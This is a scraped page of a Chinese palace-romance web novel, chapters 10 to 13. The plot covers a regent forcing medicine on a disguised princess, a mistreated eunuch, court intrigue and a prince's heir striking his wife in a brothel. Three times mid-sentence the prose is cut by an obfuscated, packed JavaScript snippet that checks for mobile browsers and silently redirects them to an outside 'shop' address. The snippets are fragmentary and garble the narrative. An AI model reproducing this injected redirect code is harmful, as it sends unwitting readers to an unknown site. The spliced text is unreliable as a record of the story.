“觐儿，刚才太子的梦听清了？”秦王假模假样地和稀泥，“储躬康健是国之根本，太子年纪尚小，若因功课抓得太狠，吓出病来，你可难辞其咎啊。” “臣死罪，”苏觐淡淡答，“臣愿为殿下侍疾，以待殿下玉体痊愈。” 听着二人一唱一和，乔鹤练只觉一个头两个大：“兄长处理军国大事已是劳心劳力，侍疾还是交给行简他们吧。” 东拉西扯总算扯上了正题。 乔鹤练继续装乖，哀声央求秦王：“伯父，行简虽有罪过，但已受惩处，我想让他从安乐堂出来，仍回东宫当差，也算将功抵过了不是？” 她正小心翼翼琢磨措辞，秦王竟一口答应：“嗯，没死就回来伺候吧。” 苏觐应是。 这也太顺利了吧？ 乔鹤练一时难以置信，恰逢太医院又送来一道汤药，秦王嘱咐了几句趁热服药、好生歇息，便起身离去了。 秦王来前似乎屏退了内臣宫人，以至于寝殿内连个接药碗的都没有，又只剩她与苏觐四目相对。 在她愣怔的片刻里，苏觐已自然而然地捧过药碗，端到她榻前矮几上。 “臣服侍殿下进药。”他抬手，不紧不慢地拨开帷幔，“殿下恕罪，臣冒犯了。” “不是，等会……”乔鹤练惊得抱被蜷缩，冷汗直冒，“我现在不想喝！” 她裹胸外只穿了两层薄汗衫，怎能近身直面这个可怖的外男！ 苏觐并未理会。他一手托起药碗，屈了右膝，半跪在榻边的脚踏上，另一手执汤勺，径直递到了她的嘴边。 乔鹤练大气不敢出，心在胸口怦怦狂跳。药腥味直冲口鼻，熏得她头晕眼花，忍不住一把抓起被子将脸盖住：“不要，烫，烫！” 下一瞬，被衾被无情扯落，掀翻到一边。这回不是汤勺了，整个碗沿强硬地抵在她唇边，撬开她的上下齿，将一大口汤药生生灌了进去！ 咸涩的药汁顺着嘴角淌出，她反胃不已，挣扎着想吐，下巴却被人捏紧猛抬，又被巾帕用力拭净。 药汁倒灌回喉咙，脸上连皮带骨都是疼的，但织物柔软温润，有淡淡香草气，将铺天盖地的苦腥压下去一点点。 “呜……呃……” 嘴被强捂着，她齿间不受控地发出可耻之音，耳边则是冷厉的威胁。“咽下去。” “吐出来的后果，臣怕殿下承受不起。” 乔鹤练闭了闭眼，面上一阵阵发烫，也不知是痛是恼。 头一回这么快喝完药，准确来说，是被威逼着灌完。 乔鹤练也没心思吃蜜饯了，正想着说些什么赶紧把煞神打发走，煞神却似乎想长留，一动不动地望着她。 “臣服侍殿下更衣？”苏觐的目光落在太子领口的药渍上。 说完，他视线上移。少年脖颈如白釉般细腻，唇红齿皓，眼尾勾着残红，密长的睫羽微湿。 真矫情。 陈留公主，也像太子这般怕苦怕烫么？ 苏觐忽然就出了神。倘若喂陈留喝药，他应当做到温声哄劝的。 可若陈留也如此不驯，又轻易被他制住，露出这副楚楚可怜的姿态，他很怕自己会忍不住欺负她。 乔鹤练身子一僵，皮肤浮起粟栗，唯恐这个逆臣冲过来扒掉她的衣衫。 强忍住破口大骂的冲动，她微笑：“苏先生，你大可不必在榻前躬亲伺候，本宫如今已经大好了。” 苏觐点头：“那明日的讲读……” “照常。”乔鹤练咬牙。 一本书忽然被抛到她衾枕旁。 吕氏春秋。 乔鹤练皱眉仰头，撞上对面淡漠的神色。 “那两段书，抓紧功夫温。”苏觐道，“明日若仍背不出，殿下会知道厉害的。” * 安乐堂，日影西斜。 低阶宦官的养病之所，破败简陋。结了蛛网的窗户漏着风，行简盖了条破草席，伏卧在落灰的土炕上。 千岁差来的太医帮他上了两次药，伤势恢复得还行。安乐堂有专司照料的小宦侍，可那些人一看昔日的六品典玺官沦落至此，都铆足了劲作践他。 不给换药是最轻的，他们把他被褥扔进茅房，往他水碗里啐痰，把馒头扔在地上，等他爬过去再一脚踢飞，然后对着他的狼狈模样捧腹取乐。 被送到安乐堂之时，岑典的威胁犹在耳畔：“公公是死是活，无非苏大人一句话的事，太子也救不了你。今日留你一条贱命，往后东宫内情，但凡苏大人垂问，仔细提着脑袋答话。” 已经八个时辰粒米未进。行简胃里揪扯绞痛，嗓子也干得冒烟，眼前一阵阵发黑。 他不知第几次努力发出呼喊：“来个人，给碗粥……” 他不能像死狗一样躺在这里，他要吃饭喝水，要好起来，不然怎么对得起千岁。 那么矜贵骄纵的女君，扑在地上替他挡棍，还在文华殿上当着百官之面给辅臣下跪！ 行简自幼被父母卖进宫，女君是这世上最在乎他的人，是比至亲还亲的恩人。 是她用身体力行告诉他，他的命从来都不卑贱，是值得被珍视和守护的。 “叫叫叫，让你狗叫！”廊下掷钱的小宦侍骂骂咧咧地摔门进屋。 他因输钱正火起，脱下鞋就往行简嘴里塞，“忘八奴才，还当自己是奉御公公？饿了就吃爷爷的鞋底子！” 鞋底脏泥压在两腮，浓烈的酸臭熏得行简干呕不止，额角冒起青筋，他拼尽全力抢过鞋子，猛地摔回小宦侍脸上。 “好你个贼囚忘八，还敢还手？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530976|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小宦侍火冒三丈，挥起拳头正狠狠往行简身上砸，忽听门口传来一道清灵的断喝。 “住手！” 小宦侍回头，赤色衣袍和灿金团龙晃花了他的眼。他还没反应过来，腹部便挨了一脚，痛得摔翻在地。 他懵然抬头看见司礼监掌印，旁边还有一班随侍太监，吓得连滚带爬趴在地上：“奴婢不知爷爷大驾……” “天杀的，当差当得造起反来了？把他拖出去！”掌印骂道，“还有外头那些耍钱的，一并拖出去！” 骂完便跪在太子脚边：“奴婢该死，竟不知这帮奴才这般脏心烂肺。” 小宦侍骇得魂飞魄荡，边磕头不止边哭喊：“千岁爷饶命，奴婢再也不敢了，奴婢给行简公公赔罪……” 耳边嘈杂仿佛遥隔虚空，乔鹤练只敛眸，低头望着行简。 年轻隽秀的东宫奉御不复往日神采，此刻蓬头垢面，形同枯槁。 她的拳头在衣袖里握得骨节泛白，又因自责而无声松开。 “千岁，不该来这种地方……”行简嘴唇干裂，艰难开口。 乔鹤练闷头掀开草席，一把将行简从炕上薅起来，横抱着便往屋外走，看得一众太监宦官瞠目结舌。 行简也震惊，顾不得身上的伤痛，直想往地上滚。“千岁，折煞奴婢了……” “躺好吧你。” 乔鹤练将内臣拦腰抱死。左右碧瓦朱甍，她脚下生风，在宽阔的宫道上健步如飞，把后头小跑的太监们甩开老远。 道旁的洒扫宫女垂首行礼时，都忍不住以余光偷瞄，悄声发出惊羡的唏嘘。 * 城郊，五军营。 苏觐在辕门处下了马，徒步至校场。 他见秦王身着织金戎装，未戴臂鞲和扳指，从弓台上拣了把大梢弓，掂在掌心。 “早膳后，你娘一脸的不高兴。”秦王问他，“你为何又要招她？” 有军士飞跑着送来箭袋，苏觐便顺手捧过，递到秦王面前，“臣失敬，求殿下恕罪。” 箭袋迟迟不被接下，秦王兀自持着空弓拉弦。 苏觐托着箭袋站在一旁。举久了难免手累，靶场外时不时有操练将士路过。 这种场面理应是尴尬的，但他面不改色，而且心如止水。 关于忤逆亲长，明着作对很冒进，顶嘴叫嚣很愚蠢。而他以恭谨驯服的姿态，总能达到最显著的效果。 “去过太医院了？”半晌，秦王还是打破了沉默。 “启禀殿下，臣去了。”苏觐答，“太子殿下并非普通头眩，而是中毒。现东宫寝殿毒物已清除，臣问过太医，因解毒及时，太子殿下身体并无大碍。只是，投毒之人还有待进一步查证。” “此事交给锦衣卫暗中去办，务必查清主谋。” 秦王蓦地松开紧绷的弓弦，震起一阵激荡的嗡鸣。 “还有，此刻不是上朝，再在那里左一句‘殿下’，右一句‘臣’的装腔，自己过来领十个耳刮子。” “是。”苏觐颔首。 秦王这才接过箭袋，不紧不慢地扣在腰间革带上。 霎时间，三支连珠箭凌空直出，悍将取箭开弓，向来迅疾如雷，根本无需瞄准。 秦王放下长弓，满意地打了个胡哨。 “觐儿，你觉得是谁给太子下毒？” 11. 秦王妃 苏觐眺望着远处的箭垛，说：“我不知道。” 百余步之外，箭垛上空空荡荡，并无一支羽箭中靶。 “是不知道，还是不便说？”秦王扫他一眼。 苏觐重复道：“世伯，侄儿确实不知道。” 他顿了顿，又道：“此外，五军营中那部分军机密札，又有被翻动的痕迹了。” “当初就该把那孽障扔到漠北草原上喂狼。”秦王眸光晦暗不明，“喀兀细作那边也加派些人手，都盯紧了。” “是。”苏觐看着秦王，踱步上前，“臣想，世子殿下是思母之心，殿下宽宥他吧。” 为了触怒秦王，揭人疮疤，他故意说得很慢。 北伐半生的大黎摄政王，发妻竟是其憎恶之至的喀兀胡女。 当年先帝北伐，为了招降一名骁勇无双的喀兀将领，强行逼着秦王娶了那将领之妹，一个喀兀贵女为王妃。 彼时十七岁的秦王，早已和心上人私定终身。 年轻气盛的少年亲王，一意孤行要抗婚，不惜忤逆君父，抛下皇子身份出逃私奔。可最终还是被先帝抓回，与至爱分钗破镜，被迫与喀兀女成婚，生下了有着一半喀兀血统的嫡长子。 即是秦世子乔绍。 后来先帝招降失败，那将领成为喀兀部落的新首领，继续与黎廷作对，喀兀贵女趁乱回了漠北，秦王愈发对喀兀人恨之入骨。 苏觐知道，君王的仇恨与怒火，可以化为北伐的壮志，点燃边镇城墙上绵延的炮台，让残害他无数亲族的喀兀人血债血偿。 “好、好、好。回去再扇你，这会不急。”戳心之怒往往不露声色，秦王无甚表情，指了指弓台上摆的几张角弓，“挑一把吧。” 苏觐便拿起一把试了试力，又放下，换了另一把更重的。 摩挲着拇指上的玉扳指，他搭箭，弯弓，瞄准。“嗖”的一声，整支箭矢赫然穿透靶心。 “嗯，好弓法。”秦王拍他肩膀，“觐儿，若你是乔氏骨血，我叫那两个夯货有多远滚多远去。” “世伯放心，苏觐会为乔氏江山赴汤蹈火的。”苏觐道。 “那你说说，三郎和太子，谁更堪托付江山大业？” “世伯春秋鼎盛……” “巧言令色，闭嘴。” “……” “唉。”哑然良久，秦王还是想听他说话，忍不住又唤，“长绬啊。” “殿下，臣在。” 苏觐回罢，微微一愣。 呀呵。刚刚发呆在想陈留，这回是真纯属口误。 可秦王彻底恼了，冷冷地瞪着他，沉声喝令：“自己掌嘴，二十，立刻。” “世伯。”苏觐唤得从容，他慢腾腾地将角弓搁回弓台上，“我知错了。” 然而并没有等来成命的收回。 他弯了弯唇角，无奈摘下扳指，扬起右手。 他半闭了眼仰头，晴空里，北雁南飞，秋阳的暖光从指缝里漏下来，洒在脸上。 几乎同一刹那，他的右腕被牢牢擒住，紧接着手掌便被拂落。 “罢了！”秦王见他当真抬手作势，哪里还绷得住，一把拦下，若无其事道，“下次再说吧。” 无人问津的是，距靶场箭垛之外再百余步的草丛里，躺着一只死去不久的新鲜野兔，腹部横插着三支羽箭。 * 乔鹤练百无聊赖地坐在书案前，用笔斗逗弄罐里的蛐蛐，抬眼瞅见对面奋笔疾书的内臣，好笑道：“我说行简公公，歇会儿吧，你不累吗？” 行简边写边道：“千岁祖宗，今日不写明日也得写呀。” 蟋蟀发出清脆的鸣叫，乔鹤练嘁了一声：“让我把上月整月的功课重写，亏他想得出来，真是脑子有病。” 除了以态度浮躁为由让她重写功课，每天抓着她脖子强行灌药，还带来一道将卢允恭调任礼部的诰书，从此东宫便彻底是他苏觐一人独断专行了。 如此公报私仇，连演都不演，怎会有这么卑鄙的伪君子！ 行简唉声叹气：“谁让人家是内阁首辅，是少保兼太子太保呢。” 心不甘情不愿地将蛐蛐罐扣上，乔鹤练一把抽走行简笔下叠放的宣纸。 “行了行了，放这我自己写，你身上没大好，养着去吧。” 行简知道这些简单功课对女君来说确实太过乏味，便没有搁笔：“千岁中毒才恢复不久，也该好好休养。” 当乔鹤练将中毒之事告知行简后，二人梳理起居细节，依据浆洗时日，推断出了最有可能在枕芯中下毒之人。可与此同时，传来了那名内臣在卧房中服药自尽的消息。 事后再沿着线索追查，只查出那名内臣近来和秦王世子的侍卫有密切钩连。 乔鹤练与秦世子关系的确不和睦，可也并实质证据证明，是秦世子指使那个内臣给太子下毒。 此事唯有暂时搁置，且待看秦王如何反应了。 乔鹤练已接着行简的字迹，顺理成章地往下书写起来：“我早就没事了，汤药都停了几天了。我刚刚在想，伯母生辰将至，到时候带你赴宴去。” 下月初五便是秦王妃的生辰，因秦王常年在外征伐，王妃许久未办生辰，今年有辽东凯旋在先，大概会操持得隆重一些。 行简随口问：“为何没听苏大人提起过此事？” 乔鹤练嗤之以鼻：“脑子有病呗。” * 次月初五，秦王府。 乔鹤练今日也着便服，洒金缎打褶衬衣搭配纯色云纹锦袍，无华丽装饰，亦不失精致矜贵。 除了太子常服，这就是她最素的一身衣服了，她从小就喜欢花里胡哨的东西。 单论服饰审美而言，她和伯父秦王品味倒是一致，但今天毕竟是伯母的大日子，还是内敛点好。 因临时军务，苏觐天没亮便往神机营去了，秦王在前院正厅与前来拜贺献礼的官员寒暄。把行简安排到偏院暂歇，乔鹤练步入内院主居时，堂中只有秦王妃，以及在旁陪侍的几个晚辈。 见太子进来，众人起身相迎，乔鹤练笑着拱手：“今日伯母芳辰，该叙家礼，伯母和诸位兄嫂安好，都快快请坐吧。” 主位的女子虽年过四旬，可身形高瘦，容色冷艳绝伦，毫无岁月痕迹。她的妆扮不似寻常贵妇那样雍容华贵，发髻衣裙样式极简，头面耳珰俱是银饰，显出广寒仙主般的清高之气。 乡野平原间走出来的冰川美人，年轻时该是何等仙姿佚貌，才会让少年的王孙贵胄那般魂牵梦绕。 秦王妃心情并不好，见到太子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530977|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉眼间的霜雪才有些消融：“太子来了，快坐。” 众多晚辈里，她最为怜爱的就是侄女陈留公主，而陈留病逝后，她唯有把这份疼惜加注到太子一人身上。 乔鹤练拱手拜揖，秦王妃起身阻拦，乔鹤练只将她扶回座上，道贺：“愿伯母生辰喜乐，岁岁平安。” “好孩子，看到你，我自然喜乐。”秦王妃微笑着搀起她，命人捧茶捧果，都是陈留喜爱的口味。 东安郡王妃在旁打趣：“妾在这里一早上，磨破嘴皮子也没逗母亲一笑，多亏太子来得及时，替妾解围了不是。” 东安郡王乔纮也陪笑。 乔鹤练与这位庶出的堂兄关系不差。他的生母在生育胞弟时难产病故，而第二任嫡母秦王妃婚后无所出，对他们两个庶子也算关怀有加。 “二哥二嫂就别拿我取笑了。”乔鹤练嘴上客套着，手已经毫不客气地抓起点心。 抬头却见秦世子妃独自坐在堂下，神色恍惚，虽仔细抹了脂粉，仍难掩憔悴之色。乔鹤练不禁垂手，担忧地问：“大嫂身体恢复得如何？” 世子妃小产才出月子不久，人消瘦如一节花枝，裙衫都快撑不起来，风一吹便摧折了。 秦王妃也道：“蕊初，这里有他们陪着说话，你身子本就虚弱，又起得太早了些，要不要回房歇息？等开宴了再让人喊你。” 世子妃忙叉手坐正，勉力作无恙模样：“娘，我没事。” 她又转向太子，敛眸：“多谢殿下关怀，妾如今已经好多了。” 众人便闲话起家常，问了天子在行宫的近况，又聊了些宗室间的新闻旧事。 东安郡王乔纮瞟了眼窗外日头，悄声问他胞弟：“三郎，现在什么时辰了？” “过巳正了，二哥。”乔绥大喇喇道。 少年说完便疑惑，他嘴上向来没个把门的，张口就问，“奇怪，都这个时辰了，怎么不见我大哥？还有兄长也没回来，他跟我说巳时前会从神机营回来的呀。” 话音刚落，秦王妃脸上才化开的浅笑瞬时冻结，神情冷如冰凌。世子妃身形也僵住，铅华妆饰下的容颜愈发苍白。 乔鹤练知道她这三堂兄生性憨直，言行最欠圆通，赶紧打断：“三哥，你去前厅问问伯父，还有多少宾客，需不需要我们帮着张罗？” 乔绥噢了一声，起身行礼，挠着脑袋愣愣地退出去了。 东安郡王打圆场道：“兄长往京营去了，许是军务耽搁，估计就快回了，娘不要着急。” 却被郡王妃拆台：“这辽东的仗才打完，眼下又不出征，有什么要紧的军务，非要赶在娘的生辰这天忙活？” “你懂什么？住口。”东安郡王皱眉，低声呵斥妻子。 他的妻子充耳不闻，自顾自地剥了葡萄，递给秦王妃：“娘，恕媳妇直言，这几年父王忙着打仗，好不容易操办这么一场。要我说，娘也犯不着和他们置气，侄儿媳妇们都在，就只说高兴的。” 秦王妃淡淡接过，话语里不带情绪：“没什么可气的。外边日头不错，陪我去花园里走走吧。” 说着便站起身。世子妃和郡王妃上前搀扶，乔鹤练本跟在后头，和东安郡王并排，又被秦王妃唤到身前说话。 一行人行至廊下，却迎面撞上一人。 12. 捉奸 来人似乎才刚下马，往日平整舒展的衣摆有几道极浅的褶皱，又因步履匆匆，呼吸有些微急促。 可他行止极为泰然，望见廊下被众人簇拥的秦王妃，只是脚步一顿，云淡风轻地抬袖作揖：“臣拜见诸位殿下、诸位娘娘。” 晚辈们都还了礼。秦王妃目不斜视，织银的窄襕裙摆轻扫过台阶，径直往石径上而去。 “臣请王妃娘娘留步。”苏觐放下衣袖，缓缓道，“臣有话启禀。” 乔鹤练万万想不通，为何此人每次出现的时机都那么尴尬。 虽然此刻尴尬的人不是她，但是她替人尴尬的毛病犯得抓心挠肝，真恨不能替这人挖条地缝钻进去。 哪怕对方是可恶的苏觐。 乔鹤练无声叹气，怪自己还是太善了，善到在仇敌最难堪的场合，非但不在一旁煽风点火，不在心里拍手称快，还贴心地招手唤仆从帮忙取软垫来。 其余晚辈则默不作声，退到一旁。 秦王妃虽驻步，却未回头。 庭院陷入沉闷的死寂，微风拂起每个人的袖口和衣带，发出酥痒的窸窣。 乔鹤练立在阶上，怯怯开口：“伯母，苏哥哥在唤你呢。” 秦王妃闻言终于回身，淡漠地看向她唯一的亲子。 乔鹤练扬了扬下巴，软垫被仆从心领神会地搁在了苏觐面前。 她看见苏觐微微抬头，将黯淡的眸光投向她，又很快挪开，落在远处的云杉枝头。 那眸光清冷平静，夹杂了一丝微不可察的隐痛。 乔鹤练垂下眼帘，枝头的几片黄叶被风卷落，刮到了她的鞋边。 余光可以瞄见苏觐拜揖。这还是她第一次见他行大礼，她忍不住抬眸。 他敛衣下拜的动作极为优美，容止端方而风神飘逸，萧萧肃肃，称得上赏心悦目。稽首之后，停顿了须臾，道： “臣为王妃娘娘诞辰贺，愿娘娘长乐康宁，四季……无忧。” 可不及他把话说完，秦王妃竟一言不发地转身离去。此番态势果断，再无回首余地。 众人见状哑然，纷纷快步跟上。 乔鹤练目瞪口呆。 她虽母亲早逝，但总归是被宠着长大，即使有时也和爹爹争吵，却实在无法想象骨肉至亲能疏离到这个程度。 伯母也太不留情面了些，众目睽睽之下，就这样把拜寿的儿子丢在身后置之不理。 苏觐仍跪在原地，一动不动。阔袖纱袍层叠下的肩形宽而匀称，丝绦束出瘦劲的腰身。背影宛如玉山，挺拔清俊，此情此景，却显得孤独。 待众人走远，乔鹤练才上前，将苏觐扶起。 苏觐虚借着她的胳膊站直身子，安之若素道：“多谢殿下了。” 他神色淡定得过了头，既不落寞，也看不出丝的窘迫，反倒使得旁观的乔鹤练很不自在。 “苏先生，”她刻意清了清嗓子，“本宫并没有多么想帮你。我主要是见不得别人尴尬，你不要误会。” 苏觐微笑：“殿下今日这么早来赴宴，想必那些功课一定是都写完了。” 果然就多余和脑子有病的人说话。这不是东郭先生和狼么，好心好意替他解围，他却恩将仇报，哪壶不开提哪壶！ 乔鹤练再也不想搭理此人，哼了一声，用力一甩衣袖走了。 * 从后花园散步回来，离午宴还有一段时辰。因秦王妃心情欠佳，大家各自散去。 乔鹤练途经偏院，只见在里院喝茶的行简一溜烟地跑过来，神神秘秘道：“千岁，听说秦王也发了好大火呢。” 这也太奇怪了，哪户人家办生辰宴不是欢欢喜喜的，不懂伯父这两口子都在生哪门子闷气。 “怎么说？” 行简掏出藏在衣襟的瓜子，一面递给她一面嗑：“好像是世子从昨夜起就没回府，秦王刚刚把世子几个属官骂了个狗血淋头，世子妃都吓哭了。” 乔鹤练听出些不妙：“世子妃人呢？” “奴婢猜，她不会是自己出去找世子了吧？”行简道。 见女君拔腿就跑，惊得他手里一把瓜子散了一地。“千岁，等等啊！” * 乔鹤练紧赶慢赶，总算在王府南门外的长街上拦下了世子妃外出的马车。 车里只有一个小侍女陪同，世子妃的脸色极差，颊上泪痕还未干透，见太子突然出现，有些无措。 “太子殿下……”她怔怔的。 “大嫂这是准备去哪？”乔鹤练半撑开轿帘，“是要去寻世子回府么？” 对于这位世子堂兄的人品，乔鹤练很了解。世子妃家世普通，因貌美柔顺得世子一见钟情，聘为正妃，二人婚后也算琴瑟和鸣。 据说秦世子当年为求美人芳心，甚至立下永不纳妾的誓言。 可世子妃成婚多年无所出，小产过两次，与世子感情逐渐生了嫌隙。 朝中不止一次流出过世子养外室的传闻。 世子堂兄在外厮混确有其事，除此之外，还有更为恶劣的事情，无法在明面上言说。 且世子与秦王性格不合，又对继母秦王妃毫无敬重，向来不受父亲喜爱，世子妃夹在中间不知受了多少委屈。 曾经花容月貌的碧玉少女，如今却是一副枯瘦病容，布衣女嫁宗室看似风光，个中辛苦，又岂是三言两语能说清的。 “让殿下见笑了，今日母亲寿宴，世子身为嫡长，在外冶游实在说不过去，更何况父王雷霆之怒，妾也害怕……”世子妃擦了擦通红的眼圈，哽咽道。 “大嫂知道世子现在何处么？”乔鹤练问。 “大概知道，无非那几处……” “大嫂独自去那些地方，实在太过危险，可否让本宫陪你同去？本宫绝不声张，只是护你周全。” 见世子妃蓄着泪水轻轻点头，乔鹤练便不再浪费时间，径直爬上马车，顺便把追过来的行简拽进轿厢。 * 凝香阁。脂粉暗香，灯影幢幢。 此处名为乐馆，虽非秦楼楚馆，却是许多王公贵族招引暗倡的私密场所。 乔鹤练正准备叫出掌柜来问话，谁料转头，恰好撞见秦世子乔绍搂着一个花枝招展的舞姬从雅间里出来。 这不是冤家路窄么。 乔鹤练步子快，又来势汹汹，大概十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530978|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惹眼，乔绍一眼就看见她了，隔着大老远挖苦起来。 “太子兄弟有雅兴啊，看来是上次的教训没吃够？不老老实实在宫里读书写字，还敢出来寻花问柳，不怕姓苏的把你抓回去，往死里整？” “堂兄在此地流连忘返，若被伯父知道了，怕是也吃不了兜着走吧？”乔鹤练反唇相讥。 大抵没功夫与她扯皮，乔绍嗤笑：“你少搬我爹来压我，咱们井水不犯河水，你别管我的事，我也不多你的嘴。” “伯母的寿宴就要开始了，你赶紧跟我回去，不要让大嫂难堪。”乔鹤练正色道。 “关你屁事？在这颐指气使的，你算什么东西？” 乔绍正要开骂，忽然瞥见半掩在太子身后的一抹纤影，顿时眉头紧皱。 “你怎么也来了？赶紧回去，这里不是你该待的地方！” 孟蕊初虽有心理准备，但亲眼瞧见枕边人如此亲昵地搂着一个风尘女子，眼前一阵阵的发黑，几乎要昏厥过去。 良家女的教养和命妇的仪度却不允许她如市井妇人一般哭吼拉扯，她强撑着站稳，把汹涌情绪压回嗓子里：“妾来请殿下跟妾一同回去。” 乔绍见状略有触动，不禁松手放开舞姬，可脖颈却被那双酥臂缠住，耳边传来媚惑娇嗔：“殿下，令夫人管得真宽，连殿下赏乐都不许吗。” 他按住她腕子，温声哄道：“好心肝，你先上楼，我今日家中有事。” 舞姬却不肯撒手：“殿下这么快就要回家了？把奴家一个人丢在……” 孟蕊初忍无可忍，打断道：“请姑娘放手。” 舞姬非但攀得更紧，还腰肢一扭灵活地钻进乔绍怀里，挑衅：“世子妃不懂得色衰爱弛的道理吗？娘娘青春不再，拢不住殿下的心，一味要奴家放手有什么用？” 实在看不下去这般情形，乔鹤练冲着乔绍低喝：“你赶紧把这女子弄走！” 孟蕊初亦不愿与舞姬争风吃醋，伸手本想去抓乔绍的衣袖，不料还未碰到，舞姬竟软绵绵地凭空倒地，嘤嘤啜泣起来：“世子殿下，世子妃她推我，她……” 乔绍见状一把搡开发妻，只顾蹲身去扶起舞姬：“玉颜，你没事吧？” 孟蕊初踉跄了一下，险些栽倒，好在太子及时搀住了她。 烧穿脏腑的怒火似被一瓢冷水浇灭，心也如焦炭一般麻木，彻底失去痛觉。 她掐紧颤抖的指尖：“年少的海誓山盟，妾可以全当戏言，可殿下如今做派，在父王那边是过不去的，妾既然还是世子妃，就必须劝诫殿下……” “啪！”一道响亮的耳光声几欲贯穿房梁。 巨响突兀，丝竹声暂歇，不少贵客和游女闻声都惊诧驻足，在不远处围观。 乔鹤练简直不敢相信自己的眼睛。 只见世子妃捂着脸颊摔倒下去，宛如一朵被骤雨打落的海棠，破碎于地。她的身躯太过瘦削，被衣衫完全掩埋，重叠的裙摆铺散开来，隐隐透出血色。 “贱妇！连你也敢威胁我？”乔绍此刻仍举着手掌，恨恨地骂，“你胆敢去父王那里嚼舌根，便是找死！还有，如果玉颜有什么三长两短，老子休了你！” 13. 打回去 乔鹤练一把抱起孱弱的世子妃，冲出围观人群，直奔阁门外的马车。 她敛眸，怀中女子脸色惨白，窄瘦的面颊被一道骇人的掌印铺满，逐渐鼓起肿胀。 更糟的是，世子妃裙子上沾有新鲜血迹，不知是不是刚刚摔倒那一下导致的下红。 把世子妃抬进轿厢安置好，乔鹤练解下自己的符牌塞给小侍女：“不必回王府了，拿着我的符信，赶紧送世子妃去东宫，找司药女医薛素问。” 而后便跳下车，往凝香阁的方向狂奔。 “不是千岁，你回去干什么？”行简慌张的呐喊被她抛在脑后。 “去找乔绍算账。”她冷冷道。 乔鹤练原路返回雅间外。围观人群散去了不少，那个舞姬已不见踪影，只剩乔绍一人待在原地。 她跨步上前，扬手便是蓄了十成力的一巴掌，狠狠甩在乔绍脸上。 因常年练习骑射，她手劲很足，这猝不及防的一耳光扇得乔绍一个趔趄，险些跌坐在花盆上。 痛得他惊呼一声，捂脸倒行数步，扶住灯架，瞪圆了眼睛：“小匹夫，你敢打我？” “打的就是你！”乔鹤练反骂，“乔绍，你还是人吗？世子妃身子本就虚弱，你还这样作践她！” “轮不到你个小孩子在这里胡吣，我打我老婆，关你屁事！”乔绍气急败坏地撸起袖子，扑上前来欲要捂她嘴。 乔鹤练先发制人，一把揪住他衣领，反手一压，将其用力撂倒在桌台的绒毯上。 乔绍迎面吃了一嘴毛，一边狂呸一边骂：“小东西，力气还不小，我是你兄长，你还敢动手动脚，果然是姓苏的驽才教出来的蠢货，圣贤书都读到狗肚子里了。” 喋喋不休的谩骂刺得乔鹤练脑仁疼，她脱口还嘴道： “我没有你这样的杂种兄长！” 话音刚落，一股浓烈的硝烟味在口鼻中炸开，面中轰起天旋地转般的剧痛，温热的液体从鼻中流出，淌过唇峰，有淡淡铁锈味。 乔鹤练被那股巨力冲倒在地，愣了一瞬才反应过来，自己脸上挨了乔绍极重的一拳，她本能地抡起拳头想要反击，可腰腹被人死死抱住，用力往后拖。 “千岁，咱们快跑吧，今日是王妃娘娘寿诞，你被世子打成这样，奴婢可怎么对王妃娘娘交待呀！” 原来是行简看她落了下风，赶紧上来拉架，大声嚷嚷起来。乔绍的人闻声赶来，扯的扯拽的拽，硬是把两个人分开了。 * 虽然不争气地挂了彩，但好歹赶上了王府的午宴。除了世子妃身子不适没有露面，人到得还算齐，一场宴席在平平无奇中结束，再没出什么岔子。 宴罢回到东宫，乔鹤练立刻赶去偏殿探望世子妃。 “娘娘这是产后气血瘀阻，突遭冲撞导致的崩漏。”薛司药道，“臣刚才已为娘娘施针止血，但若要恢复如初，还需要小心调养，避免大悲大怒。” “大嫂勿忧，”隔着屏风和帘帐，乔鹤练宽慰着帐中女子，“这段时间你就在宫里住着，安心休养，伯父伯母那边我会去说，堂兄不能把你怎么样的。” “多谢殿下。”帘帐内的声音仍很虚弱，透出疲惫的木然，“妾有个不情之请，可否请殿下，不要再称呼妾为‘大嫂’。妾已经，再也不想当这个世子妃了……” 乔鹤练深知其苦，闻言也心酸难受。 “姐姐本姓孟，那我，就叫你孟姐姐吧。”她答应道。 “殿下相陪搭救之恩，妾感激涕零，无以为报。且妾深知，今日殿下本可以置身事外，都是因为帮扶妾，才将殿下卷入麻烦之中。” 孟蕊初艰难地说着。 “待妾身子好些，便去与世子言明。他要纳伎为妾也无妨，妾会引咎，自请废为庶人，入道观闭门清修，与他不复相见。” “凭什么？”乔鹤练闻言忿然，“既然离了心，孟姐姐并没有做错任何事，凭什么他还能纳妾，你却要失去自由？不可以两愿和离吗？” 